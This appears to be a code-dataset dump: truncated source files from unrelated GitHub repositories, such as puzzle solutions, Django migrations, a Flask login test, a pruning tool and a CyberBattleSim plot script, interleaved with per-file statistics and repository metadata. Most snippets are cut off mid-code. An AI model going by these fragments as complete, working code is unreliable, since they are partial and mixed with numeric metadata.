{ "targets": [ { "target_name": "tree_sitter_hack_binding", "include_dirs": [ "<!(node -e \"require('nan')\")", "src" ], "sources": [ "src/parser.c", "bindings/node/binding.cc", "src/scanner.cc" ], "cflags_c": [ "-std=c99", ...
20.148148
86
0.454044
47
544
5.085106
0.765957
0.100418
0
0
0
0
0
0
0
0
0
0.005848
0.371324
544
26
87
20.923077
0.692982
0.139706
0
0.2
0
0
0.429185
0.103004
0
0
0
0
0
1
0
true
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
0
0
0
0
0
1
e98c77650b683a9a54f4c3b51286cc7494d7659f
2,050
py
Python
PyQuantum/TC_closed/Basis.py
alexfmsu/pyquantum
78b09987cbfecf549e67b919bb5cb2046b21ad44
[ "MIT" ]
null
null
null
PyQuantum/TC_closed/Basis.py
alexfmsu/pyquantum
78b09987cbfecf549e67b919bb5cb2046b21ad44
[ "MIT" ]
null
null
null
PyQuantum/TC_closed/Basis.py
alexfmsu/pyquantum
78b09987cbfecf549e67b919bb5cb2046b21ad44
[ "MIT" ]
2
2020-07-28T08:40:06.000Z
2022-02-16T23:04:58.000Z
# --------------------------------------------------------------------------------------------------------------------- # system import itertools # --------------------------------------------------------------------------------------------------------------------- # scientific import numpy as np # --------------------...
52.564103
119
0.283415
133
2,050
4.045113
0.293233
0.066915
0.122677
0.105948
0.226766
0.182156
0.182156
0.182156
0.182156
0.182156
0
0.013482
0.167805
2,050
38
120
53.947368
0.301876
0.516585
0
0.1
0
0
0.006129
0
0
0
0
0
0
1
0.05
false
0
0.1
0
0.2
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
e98eb8b382e2ef03baa2a5182a87f7790c6e52c6
355
py
Python
setup.py
usdot-its-jpo-data-portal/ode-output-validator-library
907299aef8519d6eb52b865e4b39c8b857068646
[ "Apache-2.0" ]
null
null
null
setup.py
usdot-its-jpo-data-portal/ode-output-validator-library
907299aef8519d6eb52b865e4b39c8b857068646
[ "Apache-2.0" ]
1
2020-03-12T21:13:07.000Z
2020-03-12T21:13:07.000Z
setup.py
usdot-its-jpo-data-portal/ode-output-validator-library
907299aef8519d6eb52b865e4b39c8b857068646
[ "Apache-2.0" ]
1
2021-12-14T17:54:11.000Z
2021-12-14T17:54:11.000Z
from setuptools import setup, find_packages setup( name="odevalidator", version="0.0.5", description="ODE Data Validation Library", packages=find_packages(), package_data={'odevalidator': ['configs/*.ini']}, include_package_data=True, test_suite="tests", install_requires=[ 'pytz'...
22.1875
53
0.653521
38
355
5.921053
0.763158
0.106667
0
0
0
0
0
0
0
0
0
0.010638
0.205634
355
15
54
23.666667
0.787234
0
0
0
0
0
0.261972
0
0
0
0
0
0
1
0
true
0
0.071429
0
0.071429
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
0
0
0
0
0
1
e991049bedb998f76c3a73412882367d21aac232
1,544
py
Python
seam/seamfinding/gencolfwd.py
lsrcz/Seam-Carving
5cb9385e4a9c695573d91c9cd45e8af1eab00c85
[ "MIT" ]
null
null
null
seam/seamfinding/gencolfwd.py
lsrcz/Seam-Carving
5cb9385e4a9c695573d91c9cd45e8af1eab00c85
[ "MIT" ]
null
null
null
seam/seamfinding/gencolfwd.py
lsrcz/Seam-Carving
5cb9385e4a9c695573d91c9cd45e8af1eab00c85
[ "MIT" ]
1
2018-07-02T06:36:02.000Z
2018-07-02T06:36:02.000Z
import numpy as np from numba import njit, jit, prange @njit(parallel=True,nogil=True) def generateColumnForward(gdimg): forward = forwardEnergy(gdimg) x = gdimg.shape[0] y = gdimg.shape[1] lastDir = np.zeros((x,y),np.int8) energy = np.zeros((x,y),np.uint32) for i in range(y): energy[0...
28.072727
57
0.402202
242
1,544
2.566116
0.194215
0.035427
0.033816
0.032206
0.188406
0.109501
0.109501
0.067633
0.067633
0.067633
0
0.051765
0.449482
1,544
55
58
28.072727
0.678824
0
0
0.058824
1
0
0
0
0
0
0
0
0
1
0.039216
false
0
0.039216
0
0.117647
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
e99c88c682ce6d3cdf9bb94780fc099fee597c52
2,086
py
Python
credentials.py
isaacwach/password-locker
87f89b4f38c103f076d35eeadac8682ca83c984b
[ "MIT" ]
null
null
null
credentials.py
isaacwach/password-locker
87f89b4f38c103f076d35eeadac8682ca83c984b
[ "MIT" ]
null
null
null
credentials.py
isaacwach/password-locker
87f89b4f38c103f076d35eeadac8682ca83c984b
[ "MIT" ]
null
null
null
import string from random import choice ''' import string and random modules into the file ''' class Credential: ''' class blueprint to creat instances of credentials ''' credential_list = [] def __init__(self, user_name, user_password, credential_name, credential_password): '...
28.189189
87
0.609779
218
2,086
5.646789
0.288991
0.125102
0.058489
0.025995
0.149472
0.149472
0.149472
0.071487
0
0
0
0.000714
0.328859
2,086
74
88
28.189189
0.878571
0.184564
0
0.242424
0
0
0
0
0
0
0
0
0
1
0.181818
false
0.272727
0.060606
0
0.424242
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
1
0
0
0
0
0
1
e9a0e2d4916f47552c5e5a7aa5275c4dacefb250
2,915
py
Python
app/model/dir_entry.py
evgeniyabrosin/anfisa
ac4aef1a816de05ee2a45aa5b220e2baf93574de
[ "Apache-2.0" ]
8
2019-03-26T16:07:46.000Z
2021-12-30T13:38:06.000Z
app/model/dir_entry.py
evgeniyabrosin/anfisa
ac4aef1a816de05ee2a45aa5b220e2baf93574de
[ "Apache-2.0" ]
13
2018-11-07T19:37:20.000Z
2022-02-21T17:11:45.000Z
app/model/dir_entry.py
evgeniyabrosin/anfisa
ac4aef1a816de05ee2a45aa5b220e2baf93574de
[ "Apache-2.0" ]
15
2018-10-16T08:15:11.000Z
2022-02-21T14:07:29.000Z
# Copyright (c) 2019. Partners HealthCare and other members of # Forome Association # # Developed by Sergey Trifonov based on contributions by Joel Krier, # Michael Bouzinier, Shamil Sunyaev and other members of Division of # Genetics, Brigham and Women's Hospital # # Licensed under the Apache License, Version 2....
35.987654
76
0.6247
370
2,915
4.762162
0.359459
0.07151
0.056186
0.020431
0.224745
0.215664
0.180477
0.157775
0.157775
0.116913
0
0.003751
0.268268
2,915
80
77
36.4375
0.822316
0.286792
0
0.078431
0
0
0.107438
0
0
0
0
0
0
1
0.156863
false
0
0.039216
0.117647
0.392157
0.039216
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
1
0
0
0
1
e9a18821edbec926b0b9e916df737eb06e10e462
259
py
Python
digital_gesture_recognition/image_segmentation.py
tz28/chinese-number-gestures-recognition
2a9136b223064450ffde79d3f2e01c0de41baf09
[ "BSD-2-Clause" ]
673
2018-07-22T05:37:45.000Z
2022-03-30T12:38:44.000Z
digital_gesture_recognition/image_segmentation.py
devinhu/Chinese-number-gestures-recognition
aae48bc82e2adc101388e3f1af5fc49d90a06038
[ "BSD-2-Clause" ]
10
2018-08-23T04:15:31.000Z
2021-11-18T14:25:05.000Z
digital_gesture_recognition/image_segmentation.py
devinhu/Chinese-number-gestures-recognition
aae48bc82e2adc101388e3f1af5fc49d90a06038
[ "BSD-2-Clause" ]
191
2018-07-23T02:11:14.000Z
2022-03-25T06:29:51.000Z
from PIL import Image import cv2 import numpy as np im = Image.open("old//dataset//new_pic//2.png").convert('L') im.show() mat = np.asarray(im) ret2, th_1 = cv2.threshold(mat, 0, 225, cv2.THRESH_BINARY+cv2.THRESH_OTSU) cv2.imshow('BINARY',th_1) cv2.waitKey()
25.9
74
0.725869
48
259
3.8125
0.666667
0.032787
0.065574
0
0
0
0
0
0
0
0
0.060086
0.100386
259
10
75
25.9
0.725322
0
0
0
0
0
0.134615
0.107692
0
0
0
0
0
1
0
false
0
0.333333
0
0.333333
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
1
0
0
0
0
1
e9a2374e79abbae0f309e74486821ce47558d8cd
251
py
Python
HackerRank/Python/Validating phone numbers.py
AkashSCIENTIST/CompetitiveSolutions
236db303a21c7195ebf721394a54ce9df70782f5
[ "Apache-2.0" ]
null
null
null
HackerRank/Python/Validating phone numbers.py
AkashSCIENTIST/CompetitiveSolutions
236db303a21c7195ebf721394a54ce9df70782f5
[ "Apache-2.0" ]
null
null
null
HackerRank/Python/Validating phone numbers.py
AkashSCIENTIST/CompetitiveSolutions
236db303a21c7195ebf721394a54ce9df70782f5
[ "Apache-2.0" ]
null
null
null
# Enter your code here. Read input from STDIN. Print output to STDOUT import re r = re.compile("[789]\d{9}$") for _ in range(int(input())): s = input() if bool(r.match(s)): print("YES") else: print("NO")
22.818182
70
0.533865
37
251
3.594595
0.810811
0
0
0
0
0
0
0
0
0
0
0.022989
0.306773
251
10
71
25.1
0.741379
0.266932
0
0
0
0
0.093023
0
0
0
0
0.1
0
1
0
false
0
0.125
0
0.125
0.25
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
1
0
0
0
0
0
0
0
0
0
0
1
e9ac622e9cc52a82be6f11db78e6790f3509bcf3
674
py
Python
leetcode_python/insertion_sort_list.py
wanglikun7342/Leetcode-Python
3a288b3d0cc3ec09bcb57480f6360dff95455679
[ "Apache-2.0" ]
null
null
null
leetcode_python/insertion_sort_list.py
wanglikun7342/Leetcode-Python
3a288b3d0cc3ec09bcb57480f6360dff95455679
[ "Apache-2.0" ]
1
2021-11-15T17:48:17.000Z
2021-11-15T17:48:17.000Z
leetcode_python/insertion_sort_list.py
wanglikun7342/Leetcode-Python
3a288b3d0cc3ec09bcb57480f6360dff95455679
[ "Apache-2.0" ]
null
null
null
# Definition for singly-linked list. class ListNode: def __init__(self, x): self.val = x self.next = None class Solution: def insertionSortList(self, head: ListNode) -> ListNode: cur = head node_list = [] while cur is not None: node_list.append(cur) ...
26.96
60
0.526706
87
674
3.931034
0.390805
0.210526
0.131579
0.05848
0.076023
0
0
0
0
0
0
0.011876
0.375371
674
24
61
28.083333
0.800475
0.050445
0
0
0
0
0
0
0
0
0
0
0
1
0.1
false
0
0
0
0.25
0
0
0
0
null
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
e9ba67c0e11e10215f749913eba2d0a9082c33a2
1,778
py
Python
2020/day22/combat.py
verma7/advent_of_code
9eabd60573cc6b44f874f47539b40ffdcd956287
[ "Apache-2.0" ]
null
null
null
2020/day22/combat.py
verma7/advent_of_code
9eabd60573cc6b44f874f47539b40ffdcd956287
[ "Apache-2.0" ]
null
null
null
2020/day22/combat.py
verma7/advent_of_code
9eabd60573cc6b44f874f47539b40ffdcd956287
[ "Apache-2.0" ]
null
null
null
def read(filename): deck1 = [] deck2 = [] player1 = False with open(filename) as f: for line in f.readlines(): if "Player 1:" in line: player1 = True elif "Player 2:" in line: player1 = False elif line != "\n": i...
23.706667
60
0.494938
214
1,778
4.11215
0.261682
0.079545
0.061364
0.05
0.165909
0.054545
0.054545
0.054545
0.054545
0
0
0.075786
0.391451
1,778
74
61
24.027027
0.737523
0
0
0.301587
0
0
0.01631
0
0
0
0
0
0
0
null
null
0
0
null
null
0.047619
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
1
0
0
0
0
0
0
0
0
1
e9be71806c79b79f5d623ca12eda0dc08a1cf678
252
py
Python
test/runphan.py
albert2lyu/taobao_spider
e887ae6258fd17e7d6d299ae9d53b4f4e1c1f079
[ "MIT" ]
2
2016-08-02T07:28:06.000Z
2018-05-16T08:55:57.000Z
test/runphan.py
albert2lyu/taobao_spider
e887ae6258fd17e7d6d299ae9d53b4f4e1c1f079
[ "MIT" ]
null
null
null
test/runphan.py
albert2lyu/taobao_spider
e887ae6258fd17e7d6d299ae9d53b4f4e1c1f079
[ "MIT" ]
2
2017-03-06T10:36:11.000Z
2019-02-20T06:45:05.000Z
import sys sys.path.append('..') from subprocess import ( Popen, PIPE ) from tools.spider import Crawler c = Crawler() for url in c: print url p = Popen(['phantomjs', '../js/waitfor.js', url], stdout=PIPE) print p.communicate()[0]
18
66
0.638889
36
252
4.472222
0.638889
0
0
0
0
0
0
0
0
0
0
0.005
0.206349
252
13
67
19.384615
0.8
0
0
0
0
0
0.107143
0
0
0
0
0
0
0
null
null
0
0.25
null
null
0.166667
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
1
0
0
0
0
0
0
0
0
1
e9c0641a57145389684d5ae6141d84e94447fe38
2,153
py
Python
setup.py
Defense-Cyber-Crime-Center/dfvfs
da2ccbc4c989ced5ad651057bd8f5a4b18af6d37
[ "Apache-2.0" ]
2
2016-02-18T12:46:26.000Z
2022-03-13T03:05:05.000Z
setup.py
Defense-Cyber-Crime-Center/dfvfs
da2ccbc4c989ced5ad651057bd8f5a4b18af6d37
[ "Apache-2.0" ]
null
null
null
setup.py
Defense-Cyber-Crime-Center/dfvfs
da2ccbc4c989ced5ad651057bd8f5a4b18af6d37
[ "Apache-2.0" ]
5
2016-12-18T08:05:39.000Z
2019-11-19T21:18:00.000Z
#!/usr/bin/python # -*- coding: utf-8 -*- """Installation and deployment script.""" import os import sys import run_tests try: from setuptools import find_packages, setup, Command except ImportError: from distutils.core import find_packages, setup, Command if sys.version < '2.7': print 'Unsupported Python ver...
26.9125
77
0.683233
275
2,153
5.243636
0.534545
0.041609
0.024965
0.0319
0.087379
0
0
0
0
0
0
0.009195
0.191825
2,153
79
78
27.253165
0.81954
0.110079
0
0.036364
0
0
0.359606
0.018062
0
0
0
0
0
0
null
null
0.018182
0.127273
null
null
0.036364
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
1
0
0
0
0
0
0
0
0
1
e9c6306ea9a3830f00b3e3408426113dffef2393
616
py
Python
grades/migrations/0009_auto_20200514_1432.py
dotkom/gradestats
daeb65cb8741a4aa30fe40fc2a53ec44749932ed
[ "Apache-2.0" ]
null
null
null
grades/migrations/0009_auto_20200514_1432.py
dotkom/gradestats
daeb65cb8741a4aa30fe40fc2a53ec44749932ed
[ "Apache-2.0" ]
6
2020-05-06T12:06:34.000Z
2021-01-05T18:49:22.000Z
grades/migrations/0009_auto_20200514_1432.py
dotkom/gradestats
daeb65cb8741a4aa30fe40fc2a53ec44749932ed
[ "Apache-2.0" ]
2
2019-07-22T21:26:37.000Z
2020-01-27T11:48:13.000Z
# Generated by Django 3.0 on 2020-05-14 14:32 from django.db import migrations def create_through_relations(apps, schema_editor): Tag = apps.get_model("grades", "Tag") CourseTag = apps.get_model("grades", "CourseTag") for tag in Tag.objects.all(): for course in tag.courses.all(): Cour...
24.64
76
0.657468
73
616
5.424658
0.561644
0.065657
0.111111
0.090909
0
0
0
0
0
0
0
0.037815
0.227273
616
24
77
25.666667
0.794118
0.069805
0
0
1
0
0.077058
0
0
0
0
0
0
1
0.0625
false
0
0.0625
0
0.3125
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
e9c76de0ada977afe317a16cdf14c098e00ebdd3
1,181
py
Python
prime/bench/table-perf.py
osamuaoki/fun2prog
a7d43fc886cca404008dfe95b6ff49c8e08387a5
[ "MIT" ]
null
null
null
prime/bench/table-perf.py
osamuaoki/fun2prog
a7d43fc886cca404008dfe95b6ff49c8e08387a5
[ "MIT" ]
null
null
null
prime/bench/table-perf.py
osamuaoki/fun2prog
a7d43fc886cca404008dfe95b6ff49c8e08387a5
[ "MIT" ]
null
null
null
#!/usr/bin/python # vi:ts=4:sts=4:et # == c-list # 0 context-switches # 0 cpu-migrations # 784 page-faults # 484275890 cycles # 131868649 stalled-cycles-frontend # 15810580 stalled-cycles-backend # 224008...
28.804878
111
0.585097
135
1,181
5.118519
0.496296
0.057887
0.060781
0.057887
0
0
0
0
0
0
0
0.0907
0.262489
1,181
40
112
29.525
0.702641
0.366638
0
0.090909
0
0
0.283765
0.061392
0
0
0
0
0
0
null
null
0
0.045455
null
null
0.090909
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
1
0
0
0
0
0
0
0
0
1
e9c7f24da4a34423725908343384204e813d81e8
351
py
Python
src/rooms/migrations/0002_auto_20190514_2052.py
Bounty1993/my-blog
973ed2046fbb37489fea7caeeebcea5f88cf3fa6
[ "MIT" ]
null
null
null
src/rooms/migrations/0002_auto_20190514_2052.py
Bounty1993/my-blog
973ed2046fbb37489fea7caeeebcea5f88cf3fa6
[ "MIT" ]
null
null
null
src/rooms/migrations/0002_auto_20190514_2052.py
Bounty1993/my-blog
973ed2046fbb37489fea7caeeebcea5f88cf3fa6
[ "MIT" ]
null
null
null
# Generated by Django 2.2.1 on 2019-05-14 20:52 from django.db import migrations class Migration(migrations.Migration): dependencies = [ ('rooms', '0001_initial'), ] operations = [ migrations.RenameField( model_name='donation', old_name='profile', new...
18.473684
47
0.569801
37
351
5.297297
0.810811
0
0
0
0
0
0
0
0
0
0
0.078838
0.31339
351
18
48
19.5
0.73444
0.128205
0
0
1
0
0.118421
0
0
0
0
0
0
1
0
false
0
0.083333
0
0.333333
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
e9d5629b4541de1a2bbcfc93d8eca9d781f3bd08
871
py
Python
list_operations.py
CrazyJ36/python
4cff6e7240672a273d978521bb511065f45d4312
[ "MIT" ]
null
null
null
list_operations.py
CrazyJ36/python
4cff6e7240672a273d978521bb511065f45d4312
[ "MIT" ]
null
null
null
list_operations.py
CrazyJ36/python
4cff6e7240672a273d978521bb511065f45d4312
[ "MIT" ]
null
null
null
#!/usr/bin/env python3 intList = [1,2,3] def normalList(): print("initial list: " + str(intList)) # must be str, not list or type # list items can be reassigned normalList() print(intList + [4,5]) # temp print list with more indexes intList.append(6) # permenently add a 6 to list. # Using .append METHOD from f...
22.921053
72
0.681975
136
871
4.367647
0.477941
0.053872
0.010101
0
0
0
0
0
0
0
0
0.029086
0.171068
871
37
73
23.540541
0.793629
0.45465
0
0.166667
0
0
0.125813
0
0
0
0
0
0
1
0.055556
false
0
0
0
0.055556
0.5
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
1
0
1
e9da2092a105818b52064cfd0e012808b8484f25
1,474
py
Python
results/scripts/netem_rrtcp.py
andres-erbsen/rrtcp
c3b2f199e5e159ef29847a16399d1758e36e1acf
[ "Apache-2.0" ]
1
2018-02-26T17:59:51.000Z
2018-02-26T17:59:51.000Z
results/scripts/netem_rrtcp.py
andres-erbsen/rrtcp
c3b2f199e5e159ef29847a16399d1758e36e1acf
[ "Apache-2.0" ]
null
null
null
results/scripts/netem_rrtcp.py
andres-erbsen/rrtcp
c3b2f199e5e159ef29847a16399d1758e36e1acf
[ "Apache-2.0" ]
null
null
null
#!/usr/bin/python import time import subprocess from config import delayIntervals, lossIntervals, tcpTestLocation, udpTestLocation, rrtcpTestLocation def runTests(): for delay in delayIntervals: for loss in lossIntervals: runTest(tcpTestLocation, delay, loss, 'tcp') #runTest(udpTes...
42.114286
175
0.652646
181
1,474
5.259669
0.38674
0.047269
0.040966
0.056723
0.130252
0.054622
0.054622
0.054622
0.054622
0
0
0.021115
0.196744
1,474
34
176
43.352941
0.782939
0.046133
0
0.12
0
0
0.258019
0.014968
0
0
0
0
0
0
null
null
0
0.12
null
null
0.12
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
1
0
0
0
0
0
0
0
0
1
e9deb4e3a8cf4657e128594ee1d3a925d1a76b32
722
py
Python
plugins/qpid/check-qpid.py
virmitio/openstack-hyperv-ci-sensu-plugins
47a1358dbb9b56d914fec1d3e29e8dc7c91fabd1
[ "Apache-2.0" ]
null
null
null
plugins/qpid/check-qpid.py
virmitio/openstack-hyperv-ci-sensu-plugins
47a1358dbb9b56d914fec1d3e29e8dc7c91fabd1
[ "Apache-2.0" ]
null
null
null
plugins/qpid/check-qpid.py
virmitio/openstack-hyperv-ci-sensu-plugins
47a1358dbb9b56d914fec1d3e29e8dc7c91fabd1
[ "Apache-2.0" ]
null
null
null
#!/usr/bin/env python import sys from qpid.messaging import * STATE_OK = 0 STATE_WARNING = 1 STATE_CRITICAL = 2 STATE_UNKNOWN = 3 if len(sys.argv)<2: broker = "localhost:5672" else: broker = sys.argv[1] if len(sys.argv)<3: address = "amq.topic" else: address = sys.argv[2] connection = Connection(broker...
16.790698
59
0.707756
97
722
5.206186
0.474227
0.055446
0.031683
0.047525
0.106931
0
0
0
0
0
0
0.019901
0.16482
722
42
60
17.190476
0.817579
0.027701
0
0.133333
0
0
0.078571
0
0
0
0
0
0
0
null
null
0
0.066667
null
null
0.066667
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
1
0
0
0
0
0
0
0
0
1
e9def9c5029d4734a9595b1837887a7e1337baba
508
py
Python
polyaxon/streams/resources/utils.py
elyase/polyaxon
1c19f059a010a6889e2b7ea340715b2bcfa382a0
[ "MIT" ]
null
null
null
polyaxon/streams/resources/utils.py
elyase/polyaxon
1c19f059a010a6889e2b7ea340715b2bcfa382a0
[ "MIT" ]
null
null
null
polyaxon/streams/resources/utils.py
elyase/polyaxon
1c19f059a010a6889e2b7ea340715b2bcfa382a0
[ "MIT" ]
null
null
null
import json from websockets import ConnectionClosed def get_error_message(message): return json.dumps({'status': 'error', 'log_lines': [message]}) def get_status_message(status): return json.dumps({'status': status, 'log_lines': None}) async def notify(consumer, message): disconnected_ws = set() ...
23.090909
66
0.687008
61
508
5.508197
0.491803
0.125
0.089286
0.125
0
0
0
0
0
0
0
0
0.206693
508
21
67
24.190476
0.833747
0
0
0
0
0
0.068898
0
0
0
0
0
0
1
0.142857
false
0
0.142857
0.142857
0.428571
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
1
0
0
0
1
756c4abdd6e3d245aaf2a80935ae4c96ae8534d7
3,671
py
Python
tests/test_login.py
pawelmhm/recenseo.es
026ac67cb6e146745aad1649c338ed89b83f0c63
[ "MIT" ]
null
null
null
tests/test_login.py
pawelmhm/recenseo.es
026ac67cb6e146745aad1649c338ed89b83f0c63
[ "MIT" ]
1
2021-03-19T22:06:54.000Z
2021-03-19T22:06:54.000Z
tests/test_login.py
pawelmhm/recenseo.es
026ac67cb6e146745aad1649c338ed89b83f0c63
[ "MIT" ]
null
null
null
# -*- coding: utf-8 -*- import os,sys #sys.path.insert(1,os.path.dirname(os.path.dirname(os.path.abspath(__name__)))) import os from src import flaskr from utilities import manipulate_db import unittest import tempfile from contextlib import closing import time import logging from src.config import TestConfig from util...
37.080808
99
0.666576
473
3,671
5.063425
0.315011
0.035073
0.036743
0.030063
0.364092
0.22547
0.173278
0.120251
0.084342
0.084342
0
0.019568
0.192591
3,671
98
100
37.459184
0.788462
0.038682
0
0.142857
0
0
0.226292
0.019875
0
0
0
0
0.207792
1
0.155844
false
0.142857
0.155844
0.051948
0.38961
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
1
0
0
0
0
0
1
757344d70a326bae723176544df73ef9122ee7cb
38,591
py
Python
pruning.py
vse-motec/Automatic-Structured-Pruning
f68c0a5aa8c2aa56e2fdc8104702096ec78b947b
[ "Apache-2.0" ]
null
null
null
pruning.py
vse-motec/Automatic-Structured-Pruning
f68c0a5aa8c2aa56e2fdc8104702096ec78b947b
[ "Apache-2.0" ]
null
null
null
pruning.py
vse-motec/Automatic-Structured-Pruning
f68c0a5aa8c2aa56e2fdc8104702096ec78b947b
[ "Apache-2.0" ]
null
null
null
'''Copyright [2020] Hahn-Schickard-Gesellschaft fuer angewandte Forschung e.V., Daniel Konegen + Marcus Rueb Copyright [2021] Karlsruhe Institute of Technology, Daniel Konegen Copyright [2022] Hahn-Schickard-Gesellschaft fuer angewandte Forschung e.V., Daniel Konegen + Marc...
40.967091
79
0.608536
4,975
38,591
4.487035
0.073769
0.021279
0.036106
0.026609
0.755409
0.710702
0.669623
0.608834
0.591408
0.555974
0
0.011278
0.322174
38,591
941
80
41.010627
0.842113
0.3066
0
0.473233
0
0
0.069628
0
0
0
0
0
0
1
0.040685
false
0
0.014989
0
0.111349
0.051392
0
0
0
null
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
757a68e9dc6e0e8cf8bd77b5bb0cfa1eadd58bca
1,114
py
Python
benchmark/plot_env.py
syheliel/CyberBattleSim-1
611f0dde9fbfabc411b40a92446c71ff7052480a
[ "MIT" ]
null
null
null
benchmark/plot_env.py
syheliel/CyberBattleSim-1
611f0dde9fbfabc411b40a92446c71ff7052480a
[ "MIT" ]
null
null
null
benchmark/plot_env.py
syheliel/CyberBattleSim-1
611f0dde9fbfabc411b40a92446c71ff7052480a
[ "MIT" ]
null
null
null
import gym import matplotlib.pyplot as plt import networkx as nx from networkx import DiGraph from cyberbattle._env import CyberBattleEnv from cyberbattle.samples.toyctf import tinytoy,toy_ctf from cyberbattle.simulation import commandcontrol from cyberbattle.simulation.model import VulnerabilityInfo, VulnerabilityTyp...
28.564103
77
0.702873
137
1,114
5.562044
0.386861
0.07874
0.065617
0.044619
0
0
0
0
0
0
0
0
0.205566
1,114
38
78
29.315789
0.861017
0.028725
0
0
0
0
0.037998
0
0
0
0
0
0
1
0
false
0
0.30303
0
0.30303
0.090909
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
1
0
0
0
0
1
7588094a259204314b5827c03709b6257adddecc
411
py
Python
get_random_quote/migrations/0010_auto_20200524_2209.py
helloprash/birthday
f4cfe0214cb19eb3efaa2d659bd94ace9c5ce7ab
[ "bzip2-1.0.6" ]
null
null
null
get_random_quote/migrations/0010_auto_20200524_2209.py
helloprash/birthday
f4cfe0214cb19eb3efaa2d659bd94ace9c5ce7ab
[ "bzip2-1.0.6" ]
null
null
null
get_random_quote/migrations/0010_auto_20200524_2209.py
helloprash/birthday
f4cfe0214cb19eb3efaa2d659bd94ace9c5ce7ab
[ "bzip2-1.0.6" ]
null
null
null
# Generated by Django 3.0.3 on 2020-05-24 16:39 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('get_random_quote', '0009_auto_20200524_2203'), ] operations = [ migrations.AlterField( model_name='quote', name='ima...
21.631579
68
0.605839
45
411
5.377778
0.822222
0
0
0
0
0
0
0
0
0
0
0.103679
0.272506
411
18
69
22.833333
0.705686
0.109489
0
0
1
0
0.151099
0.063187
0
0
0
0
0
1
0
false
0
0.083333
0
0.333333
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
758b8c813f7423de23945ab06097a2e0cf8aee3d
4,911
py
Python
Move.py
ClassDash/py-chess
7fba4eec47b3b68e61d1150def5110ced2b5b20e
[ "MIT" ]
1
2015-10-11T19:23:14.000Z
2015-10-11T19:23:14.000Z
Move.py
ClassDash/py-chess
7fba4eec47b3b68e61d1150def5110ced2b5b20e
[ "MIT" ]
3
2016-02-04T02:28:11.000Z
2016-11-01T02:18:38.000Z
Move.py
ClassDash/py-chess
7fba4eec47b3b68e61d1150def5110ced2b5b20e
[ "MIT" ]
4
2016-02-02T13:10:47.000Z
2021-02-10T23:27:05.000Z
from Piece import Piece, Pawn, Rook, Knight, Bishop, Queen, King class Move(object): """Contains all the move methods""" def __init__(self): pass def set_new_game(self): """ Initializes pieces for a new chess game. Uses two for loops and if/else statements to set the pieces...
35.846715
194
0.505396
636
4,911
3.814465
0.245283
0.042869
0.058945
0.034625
0.274114
0.222176
0.181781
0.165293
0.105524
0.105524
0
0.02417
0.368153
4,911
136
195
36.110294
0.757654
0.058033
0
0.181818
0
0
0.034687
0
0
0
0
0
0
0
null
null
0.011364
0.011364
null
null
0.022727
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
1
0
0
0
0
0
0
0
0
1
7592f0a3c06ed0e4415c1a7cbb8b7c5c9cacf40f
6,300
py
Python
sfo_common/agent.py
SF-Technology/SFO
2ec9c580e9d9fe03f86c5fe7da0ad85db1b2313b
[ "Apache-2.0" ]
10
2018-12-27T07:30:23.000Z
2019-12-11T11:40:02.000Z
sfo_common/agent.py
SF-Technology/SFO
